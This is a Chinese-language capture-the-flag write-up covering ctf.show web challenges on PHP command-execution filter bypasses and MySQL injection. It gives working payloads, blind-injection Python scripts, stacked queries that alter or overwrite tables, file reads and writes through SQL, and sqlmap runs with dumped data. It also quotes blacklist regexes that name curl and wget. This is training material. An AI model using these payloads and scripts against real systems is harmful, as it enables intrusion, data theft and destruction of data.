0x00 命令执行
web29
正则表达式匹配flag字符串。
?c=system('ls');
?c=system('cat fl""ag.php');
web30
过滤了 "/flag|system|php/i"
?c=echo `cat fla""g.ph''p`;
web31
过滤了 "/flag|system|php|cat|sort|shell|\.| |\'/i"
?c=echo`tac%09fl*`;
web32
过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"```
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
web33
过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i"```
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
web34
过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i"```
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
web35
过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i"```
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
web36
过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i"```
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
过滤了flag,然后eval函数换成了include函数
?c=data://text/plain,<?php system("cat fla*")?>
web38
过滤了 "/flag|php|file/i"
?c=data://text/plain,<?= system("cat fla*")?>
web39
过滤了flag,然后 include($c.".php");
?c=data://text/plain,<?= system("cat fla*")?>
web40
过滤了
```"/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i"``` ,然后接着 `eval($c);`
?c=eval(end(current(get_defined_vars())));&a=system("cat fla*");
web41
过滤了
```'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'```。留了个 `|` 没有过滤。
学着师傅们的wp也写了个脚本:
# -- coding:UTF-8 --
import requests
import urllib
import re
from sys import *
url = 'http://5a6fd715-4edd-41b9-8c6d-8873d339ff98.challenge.ctf.show:8080/'
def write_rce():
result = ''
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if 32 <= k <= 126:
a = chr(k) + ' %' + hex(i)[2:].zfill(2) + ' %' + hex(j)[2:].zfill(2) + '\n'
result += a
with open('rce.txt', 'w') as f:
f.write(result)
def get(context):
a1 = ''
b1 = ''
for i in context:
with open('rce.txt', 'r') as f:
while True:
line = f.readline()
if line == '':
break
if line[0] == i:
a1 += line[2:5]
b1 += line[6:9]
break
return '("' + a1 + '"|"' + b1 + '")'
def main():
write_rce()
function = 'system'
parm = 'cat flag.php'
a1 = get(function)
b1 = get(parm)
data = {'c': urllib.parse.unquote(a1 + b1)}
res = requests.post(url, data=data)
print(res.text)
main()
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
直接拼接就好了。
?c=tac flag.php;
web43
过滤了cat和分号。
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac flag.php||
web44
过滤了flag,通配符绕过就行了。
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac fla*%0a
web45
过滤了空格
?c=tac%09fla*%0a
web46
过滤了 [0-9]|$|*
?c=tac<fla''g.php||
web47
过滤了一堆读文件的,但是没过滤完
?c=tac<fla''g.php||
web48
?c=tac<fla''g.php||
web49
?c=tac<fla''g.php||
web50
?c=tac<fla''g.php||
web51
tac过滤了还有nl。
?c=nl<fla''g.php||
web52
大小于号被过滤了,但是 $
没有过滤了。不过flag在根目录下了。
?c=nl${IFS}/fla''g||
web53
过滤了很多,而且不用命令拼接了,直接执行命令。
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fla''g.php
web54
匹配加强了。
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
可以通过通配符绕过。
?c=/bin/c??${IFS}????????
0x01 SQL注入
MySQL5.0以上版本内置了information_schema库,存储了所有的数据库名、表名、列名
information_schema.tables 记录表名信息
information_schema.columns 记录列名信息
TABLE_SCHEMA 数据库字段
table_name 表名
column_name 列名
获取字段数:order by 临界值
获取库名:database()
union语句:将不同表的两个列查询的数据去重拼接
union all :不去重
web171
1' order by 3 --+
没有报错,1' order by 4 --+
报错,字段数为3。
SQL语句拼接union注入。
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
1' union select id,username,password from ctfshow_user --+
web172
存在检查逻辑如下,也就是说返回的username中不能包含flag字段,而且拼接的SQL语句中告诉了我们表名为ctfshow_user2
。
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
使用base64绕过,结果发现flag在password中,检查username也没用。
1' union select 1,2--+
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
1' union select to_base64(username),password from ctfshow_user2 --+
web173
和上一题一样,base64绕过正则检查。
1' union select 1,2,3--+
1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
1' union select to_base64(id),to_base64(username),to_base64(password) from ctfshow_user3--+
web174
输入任何数据都没有回显,抓包发现请求的是 v3.php
,修改为 v4.php
有回显了,返回结果为查询失败/查询成功,显然是盲注。
GET /api/v3.php?id=1&page=1&limit=10 HTTP/1.1
Host: b515c315-228e-441c-8b76-1af48ed77cce.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://b515c315-228e-441c-8b76-1af48ed77cce.challenge.ctf.show:8080/select-no-waf-3.php
我们可以写脚本来逐字符爆破flag,利用substr函数来逐字符爆破。
substr(string string,num start,num length);
string为字符串;start为起始位置;length为长度。
注意:mysql中的start是从1开始的。
盲注脚本:
import requests
url = 'http://b515c315-228e-441c-8b76-1af48ed77cce.challenge.ctf.show:8080/api/v4.php?id='
flag = ''
for i in range(1, 46):
for j in r'0123456789abcdefghijklmnopqrstuvwxyz{}-':
payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),%d,1)="%c"--+''' % (i, j)
payload = url + payload
res = requests.get(payload)
if 'admin' in res.text:
flag += j
print(flag)
break
web175
过滤了所有字符,可以使用时间盲注,淦。
import time
import requests
url = 'http://9f96efd3-fa6a-487b-a9be-d4b7ddeda453.challenge.ctf.show:8080/api/v5.php?id='
flag = ''
for i in range(1, 46):
for j in r'0123456789abcdefghijklmnopqrstuvwxyz{}-':
before_time = time.time()
payload = '''1' and if(substr((select password from ctfshow_user5 where username="flag"),%d,1)="%c",sleep(3),0)--+''' % (i, j)
payload = url + payload
res = requests.get(payload)
after_time = time.time()
if (after_time - before_time) >= 2.8:
flag += j
print(flag)
break
还可以利用读写文件写入网站根目录
http://9f96efd3-fa6a-487b-a9be-d4b7ddeda453.challenge.ctf.show:8080/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
之后访问 http://9f96efd3-fa6a-487b-a9be-d4b7ddeda453.challenge.ctf.show:8080/1.txt
牛!
web176
1' union select 1,2,3--+
没有回显,一个是过滤了。
尝试 1' or 1=1 --+
直接出flag了。
1' union Select 1,2,3--+
有回显了,应该是select被过滤了,使用大小写就可以进行绕过。
payload:
1' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1' union Select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
1' union Select id,username,password from ctfshow_user --+
web177
过滤了空格和 - + * #
等注释符,可以使用 %09
来替换空格, %23
来替换注释符。
payload:
1'%09union%09Select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()%23
1'%09union%09Select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23
1'%09union%09Select%09id,username,password%09from%09ctfshow_user%09%23
web178
同web177使用 %09
来替换空格, %23
来替换注释符。
payload:
1'%09union%09Select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()%23
1'%09union%09Select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23
1'%09union%09Select%09id,username,password%09from%09ctfshow_user%09%23
web179
%09
也被过滤了,可以使用 %0c
来替换空格。
payload:
1'%0cunion%0cSelect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23
1'%0cunion%0cSelect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23
1'%0cunion%0cSelect%0cid,username,password%0cfrom%0cctfshow_user%0c%23
web180-182
payload:
URL/api/?id='or(mid(username,1,1)='f')and'1'='1
MID(column_name,start[,length])
column_name:必需。要提取字符的字段。
start:必需。规定开始位置(起始值是 1)。
length:可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
web183
过滤:
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
使用盲注,用left函数截取 pass
字段的前n位来匹配flag,如果匹配上了,查询结果就会返回 $user_count = 1;
,然后就可以借此爆破flag。
import requests
url = 'http://11c8575b-2ba5-4ef7-8a77-118372621e4a.challenge.ctf.show:8080/select-waf.php'
data = {'tableName': ''}
flag = 'ctf'
s = requests.session()
for i in range(3, 46):
for j in r'0123456789abcdefghijklmnopqrstuvwxyz{}-':
data['tableName'] = "(ctfshow_user)where(left(pass,%d))like'%s'" % (i, flag + j)
res = requests.post(url, data=data)
if '$user_count = 1;' in res.text:
flag = flag + j
print(flag)
break
left ( string, n ) string为要截取的字符串,n为长度。
web184
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
这里使用right join连接查询来进行盲注
import requests
url = 'http://3da5e0e4-7c38-4d10-99ff-48d5619c4260.challenge.ctf.show:8080/select-waf.php'
data = {'tableName': ''}
flag = 'ctfshow'
for i in range(8, 46):
for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
k = ord(j)
data['tableName'] = f"ctfshow_user as x right join ctfshow_user as y on (substr(y.pass,{i},1)regexp(char({k})))"
res = requests.post(url, data=data)
if '$user_count = 43;' in res.text:
flag = flag + j
print(flag)
break
right join:用于获取右表中的所有记录,即使左表没有对应匹配的记录。
web185
过滤:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
这题将数字也给过滤掉了,可以使用 true
来绕过,一个 true
表示1,数字就用 true
来累加就可以了。
import requests
url = 'http://63903370-1d58-496f-b478-4263d5293b63.challenge.ctf.show:8080/select-waf.php'
data = {'tableName': ''}
flag = 'ctfshow'
def trueNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
for i in range(8, 46):
for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
k = ord(j)
data['tableName'] = f"ctfshow_user as x left join ctfshow_user as y on (substr(x.pass,{trueNum(i)},{trueNum(1)})regexp(char({trueNum(k)})))"
res = requests.post(url, data=data)
if '$user_count = 43;' in res.text:
flag = flag + j
print(flag)
break
web186
过滤:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
脚本同上一题:
import requests
url = 'http://b3bf5bb0-ca8c-486c-ad9b-a4000356dfa9.challenge.ctf.show:8080/select-waf.php'
data = {'tableName': ''}
flag = 'ctfshow'
def trueNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
for i in range(8, 46):
for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
k = ord(j)
data['tableName'] = f"ctfshow_user as x left join ctfshow_user as y on (substr(x.pass,{trueNum(i)},{trueNum(1)})regexp(char({trueNum(k)})))"
res = requests.post(url, data=data)
if '$user_count = 43;' in res.text:
flag = flag + j
print(flag)
break
web187
逻辑:
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
这里使用了mds函数将输入的密码转化为十六进制,然后SQL语句如下,这里如果我们使得 md5($_POST['password'],true)
的返回值为 'or'6
,那么SQL语句就变为了下面这样,而6不为0就返回真值,显然可以绕过密码。
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
"select count(*) from ctfshow_user where username = 'admin' and password= ''or'6'"
ffifdyop
和129581926211651571912466741651878684928
的md5都包含 'or'6
,输入 admin
和 ffifdyop
就可以成功登陆。
web188
查询语句
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
在SQL语句中,当字符串与数字进行比较时,字符串如果首字符为数字则返回数字,如果不为数字则返回0,也就是说首字符非数字的字符串与0进行比较永远为真。
也就是说直接填入两个0就可以登陆成功。
web189
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
过滤:
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
选择使用盲注,题目说了 flag在api/index.php文件中
,所以我们先利用 locate
函数找到flag在文件中的位置,然后逐字符爆破flag。
import requests
url = 'http://5ceae12d-16df-44c4-969c-c31d38224eed.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 123}
def getIndex():
start = 1
tail = 300
mid = (start + tail) >> 1
while start < tail:
mid = (start + tail) >> 1
data['username'] = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{0},0,1)".format(str(mid))
res = requests.post(url, data=data)
if "密码错误" in res.json()['msg']:
start = mid + 1
else:
tail = mid
return mid
def getFlag(num):
flag = ''
for i in range(int(num)+1, int(num) + 46):
for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
data['username'] = 'if(ascii(substr(load_file("/var/www/html/api/index.php"),%d,1))!=%d,0,1)' % (i, ord(j))
res = requests.post(url, data=data)
if "密码错误" != res.json()['msg']:
flag += j
print(flag)
break
getFlag(getIndex())
web190
一道布尔盲注,登录时会返回用户名是否存在,我们可以通过返回的布尔值逐字节爆破。
$sql = "select pass from ctfshow_user where username = '{$username}'";
单引号闭合前面的单引号,最后 #
注释掉之后的单引号。
import requests
url = 'http://ca38734e-d5a6-4a25-8ee6-d0022cd31946.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''
for i in range(1, 46):
first = 32
tail = 127
while first < tail:
mid = (first + tail) >> 1
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload = 'select concat(f1ag) from ctfshow_fl0g'
data['username'] = f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)=1#"
res = requests.post(url, data=data)
if '密码错误' in res.json()['msg']:
first = mid + 1
else:
tail = mid
flag = flag + chr(first)
print(flag)
web191
遇上一题类似,但是过滤了ASCII,用 ord()
替代就行了。
import requests
url = 'http://756c1350-457e-4fbe-9320-91019922ca76.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''
for i in range(1, 46):
first = 32
tail = 127
while first < tail:
mid = (first + tail) >> 1
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload = 'select concat(f1ag) from ctfshow_fl0g'
data['username'] = f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)=1#"
res = requests.post(url, data=data)
if '密码错误' in res.json()['msg']:
first = mid + 1
else:
tail = mid
flag = flag + chr(first)
print(flag)
web192
过滤增加了ord和hex。
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
那么可以使用正则表达式来判断,只是不能使用二分了速度就比较慢了。
import requests
url = 'http://4180e6a7-9d49-42c8-812e-caf8c5b2de1b.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''
for i in range(1, 46):
for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload = 'select concat(f1ag) from ctfshow_fl0g'
data['username'] = f"admin' and if(substr(({payload}),{i},1)regexp('{j}'),1,2)=1#"
res = requests.post(url, data=data)
if '密码错误' in res.json()['msg']:
flag = flag + j
print(flag)
web193
substr
也给过滤了。
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
用like去匹配。
import requests
url = 'http://09186581-887b-4d50-8780-da1bab4717ba.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''
for i in range(len(flag) + 1, 46):
for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz},_':
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
payload = 'select concat(f1ag) from ctfshow_flxg'
data['username'] = f"admin' and if(({payload}) like '{flag + j + '%'}',1,0)#"
# print(data['username'])
res = requests.post(url, data=data)
if '密码错误' in res.json()['msg']:
flag = flag + j
print(flag)
break
web194
过滤:
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
用上一题的脚本也能跑
import requests
url = 'http://7bba0150-9696-4410-8ec6-60c6bb8a0f03.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''
for i in range(len(flag) + 1, 46):
for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz},_':
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
payload = 'select concat(f1ag) from ctfshow_flxg'
data['username'] = f"admin' and if(({payload}) like '{flag + j + '%'}',1,0)#"
# print(data['username'])
res = requests.post(url, data=data)
if '密码错误' in res.json()['msg']:
flag = flag + j
print(flag)
break
web195
过滤了很多。
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
这道题是用的堆叠注入,堆叠注入,就是将语句堆叠在一起进行查询,使用分号将之前的语句闭合,然后再写入一条新的语句。
将表中所有密码修改为1,登陆获得flag。
0;update`ctfshow_user`set`pass`=1
web196
限制了用户名长度为16,但是过滤的是其实是 s1ect
不是 select
,麻了。
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
0;select(1)
0
web197
用户名长度没有限制了,但是updata
被ban了。
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
可以修改字段 id
为 pass
,修改 pass
为 id
,这样登录时查询到的就是原来的id了,然后爆破id就可以了。
import requests
url = 'http://c633eb72-d188-4971-bf2f-fd0343619030.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 0}
for i in range(100):
if i == 0:
data['username'] = '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);' \
'alter table ctfshow_user change column `id` `pass` varchar(255);' \
'alter table ctfshow_user change column `ppp` `id` varchar(255);'
data['password'] = f'{i}'
res = requests.post(url, data=data)
data['username'] = '0'
data['password'] = f'{i}'
res = requests.post(url, data=data)
if '登陆成功' in res.json()['msg']:
print(res.text)
break
web198
同197
web199
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
可以使用 0;show tables;
来获取表名,然后password输入 ctfshow_user
,$row[0]==$password
成立,输出flag。
web200
同199,这些好像都能用这个直接打通。
web201
--referer="xxx.xxx" 指定referer
当--level参数设定为3或者3以上的时候会尝试对referer注入
--user-agent=AGENT 修改UA头
默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改,
同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入
寻找注入点。
python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show"
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5589=5589 AND 'IMvs'='IMvs
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 9309 FROM (SELECT(SLEEP(5)))iGSy) AND 'mTGH'='mTGH
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1' UNION ALL SELECT CONCAT(0x716b6b6a71,0x485568414845726655654d5650686b535a536c726f7779756965444f474f76425277697569447a51,0x717a7a7671),NULL,NULL-- Vcem
---
查数据库名
python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" --dbs
[19:52:41] [INFO] fetching database names
available databases [5]:
[*] ctfshow_web
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
查表名
python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" --tables
Database: ctfshow_web
[1 table]
+----------------------------------------------------+
| ctfshow_user |
+----------------------------------------------------+
查字段名
python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
Database: ctfshow_web
Table: ctfshow_user
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| pass | varchar(255) |
| username | varchar(255) |
+----------+--------------+
查数据
python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump
Database: ctfshow_web
Table: ctfshow_user
[21 entries]
+-----------------------------------------------+
| pass |
+-----------------------------------------------+
| passwordAUTO |
| passwordAUTO |
| passwordAUTO |
| passwordAUTO |
| passwordAUTO |
| passwordAUTO |
| admin__ |
| 111 |
| passwordAUTO |
| passwordAUTO |
| 222 |
| passwordAUTO |
| passwordAUTO |
| passwordAUTO |
| passwordAUTO |
| passwordAUTO |
| passwordAUTO |
| passwordAUTO |
| ctfshow{e1ef0d4c-a793-4afc-9397-8fa256cf30e6} |
| passwordAUTO |
| passwordAUTO |
+-----------------------------------------------+
web202
--data=
通过POST提交数据
python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1"
python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" --dbs
python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" --tables
python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -D ctfshow_web -T ctfshow_user --columns
python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump
web203
-method=
指定请求方法
python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain"
python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain" --dbs
python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain" --tables
python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user --columns
python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
web204
--cookie=
指定cookie的值
python sqlmap.py -u "http://181de2ee-8b65-4832-86b0-807b88542bdd.challenge.ctf.show:8080/api/index.php" --data="id=1" --referer=ctf.show --header="Content-Type:text/plain" --method=PUT --cookie="PHPSESSID=nqm6j922k8l4p8p3lhudqul7g1;ctfshow=872498cc61df21b3f93b1f65ba0890f6"
python sqlmap.py -u "http://181de2ee-8b65-4832-86b0-807b88542bdd.challenge.ctf.show:8080/api/index.php" --data="id=1" --referer=ctf.show --header="Content-Type:text/plain" --method=PUT --cookie="PHPSESSID=nqm6j922k8l4p8p3lhudqul7g1;ctfshow=872498cc61df21b3f93b1f65ba0890f6" -D ctfshow_web -T ctfshow_user -C pass -dump
web205
每次在进行查询之前都会先访问一次 http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/getToken.php
,否则会返回 api鉴权失败
。
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
换了一个表存flag。
